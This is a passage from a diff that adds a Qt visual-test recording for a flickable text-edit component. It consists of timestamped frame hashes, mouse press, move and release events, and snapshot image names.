+ hash: "499d7c3d9cfb35db68f6eece23130e6b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 155; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1440
+ hash: "499d7c3d9cfb35db68f6eece23130e6b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 157; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1456
+ hash: "3ea13a21a5bbe336408c76ab17ff4268"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 158; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 160; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1472
+ hash: "3ea13a21a5bbe336408c76ab17ff4268"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 161; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1488
+ hash: "3ea13a21a5bbe336408c76ab17ff4268"
+ }
+ Frame {
+ msec: 1504
+ hash: "3ea13a21a5bbe336408c76ab17ff4268"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 162; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1520
+ hash: "3ea13a21a5bbe336408c76ab17ff4268"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 164; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1536
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 165; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1552
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 167; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 168; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1568
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 169; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1584
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1600
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 170; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1616
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1632
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1648
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1664
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1680
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1696
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1712
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1728
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1744
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1760
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1776
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1792
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1808
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1824
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1840
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 170; y: 8
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1856
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1872
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1888
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1904
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 1920
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 1936
+ image: "flickableEdit.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 1968
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 1984
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2000
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2016
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2032
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2048
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2064
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2080
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2096
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2112
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2128
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2144
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2160
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2176
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2192
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2208
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2224
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2240
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2256
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2272
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2288
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2304
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2320
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2336
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2352
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2368
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2384
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2400
+ hash: "4b8bc23e0153e6925c3e3a065fcc8dcd"
+ }
+ Frame {
+ msec: 2416
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2432
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2448
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2464
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2480
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2496
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2512
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2528
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2544
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2560
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2576
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2592
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2608
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2624
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2640
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2656
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2672
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2688
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Frame {
+ msec: 2704
+ hash: "06bc360da9134471bf6e8e6ff36cbaa4"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 21; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2720
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2736
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2752
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2768
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2784
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2800
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2816
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2832
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2848
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2864
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2880
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2896
+ image: "flickableEdit.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2928
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 22; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2944
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2960
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 23; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2976
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Frame {
+ msec: 2992
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 24; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3008
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 25; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3024
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 26; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3040
+ hash: "9d2c8b1f0f7da6a4914a54cf76393861"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 27; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 29; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3056
+ hash: "e5daa45e1d798fdf2562dbb9a1a2c97b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 30; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 31; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3072
+ hash: "698b572adf95ddc235b781b126a1cc10"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 33; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 35; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3088
+ hash: "7a87fe9484b00f8c7039e3129fc24fb5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 37; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 40; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3104
+ hash: "2f17e7980a28789d0f262e3682c2da27"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 42; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 45; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3120
+ hash: "0757f4c05233a25e6a8825b2c6052d8d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 49; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 52; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3136
+ hash: "799da712f376033efdbaf9a342e4bc3f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 55; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 58; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3152
+ hash: "bf7b2a29664fe4acf52d56c73cf079b1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 62; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 66; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3168
+ hash: "7928b280e7a9ab89217c9abf3b709cd2"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 69; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 72; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3184
+ hash: "3102339f3e18640f6b508e88aafefb79"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 75; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 78; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3200
+ hash: "98cddfbea5b96f9dd08c5a3655155d35"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 81; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 84; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3216
+ hash: "5604b2f85c3a90f8b29da3fec2f6c509"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 87; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 91; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3232
+ hash: "5ca4055c8dded5d30c326d6d304da28d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 94; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 97; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3248
+ hash: "b0afe256f8f89a77a5fa87c023cda469"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 101; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 104; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3264
+ hash: "d7408be78c80e2b6e5848ee696a79ee0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 108; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 111; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3280
+ hash: "f7e12621527fd52e21595cfbf804879c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 115; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 118; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3296
+ hash: "6b8c9413ba1a791e42b06aaa711cdb4e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 122; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 127; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3312
+ hash: "1c80e0f89033dedc66b236561042f4f6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 131; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 135; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3328
+ hash: "6ec06d8844ff57e34af5316895250858"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 140; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 146; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3344
+ hash: "f3c0159243555e919fd736866b00a5ab"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 151; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 157; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3360
+ hash: "973ced5d6155240490acd6241610429d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 164; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 169; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3376
+ hash: "0aee5feb94508f70c62cc3255c53bc8a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 175; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 182; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3392
+ hash: "840cc661a50dd8bc1af8f6d53ccbece5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 187; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 191; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3408
+ hash: "34a470358ccfb7592cf47399ab6dbc19"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 195; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 198; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3424
+ hash: "25c53ff3977ca8422c545c1608782833"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 202; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 205; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3440
+ hash: "d4388550549d54e31640cda4672c3bfb"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 209; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 213; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3456
+ hash: "8904c3b225a5e732fca4fc605d0fc12a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 216; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 219; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3472
+ hash: "415a630fc6a963e99a0e13bf5e461849"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 223; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 226; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3488
+ hash: "1526e90e0345e20a3455554c8f249de7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 229; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 233; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3504
+ hash: "2b215748d63e505469d343919b245af9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 235; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 238; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3520
+ hash: "6821e559cb1e45b0cd731c90c3b16934"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 241; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 243; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3536
+ hash: "334ddaa8c2cd0506528fe20a21991b03"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 245; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 247; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3552
+ hash: "6e651889e91d3de96d9aaf91f4ed9a2c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 250; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 251; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3568
+ hash: "0554f22d8079ef0213dc25f9f1b59055"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 252; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 253; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3584
+ hash: "1eb0805e4c706af1c7cfa113d32edda1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 255; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 256; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3600
+ hash: "482f30ca992e9f92241523a47125d9b4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 257; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 259; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3616
+ hash: "6b2bec317fad51fe85bab6a00ced9655"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 261; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 262; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3632
+ hash: "acc661684f507375518fc73fe081f61e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 263; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 265; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3648
+ hash: "f77143d0d7a3cf8c0163bf950940ad07"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 266; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 267; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3664
+ hash: "8d0407ae3f55305e1d9780deaa30c064"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 268; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3680
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 3696
+ hash: "c536946f28abb221cc38d6f438887e17"
+ }
+ Frame {
+ msec: 3712
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3728
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3744
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3760
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3776
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3792
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3808
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3824
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3840
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3856
+ image: "flickableEdit.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3888
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3904
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3920
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3936
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3952
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3968
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 3984
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4000
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4016
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4032
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4048
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4064
+ hash: "91bd6701cbb1e836a01d1619e0421503"
+ }
+ Frame {
+ msec: 4080
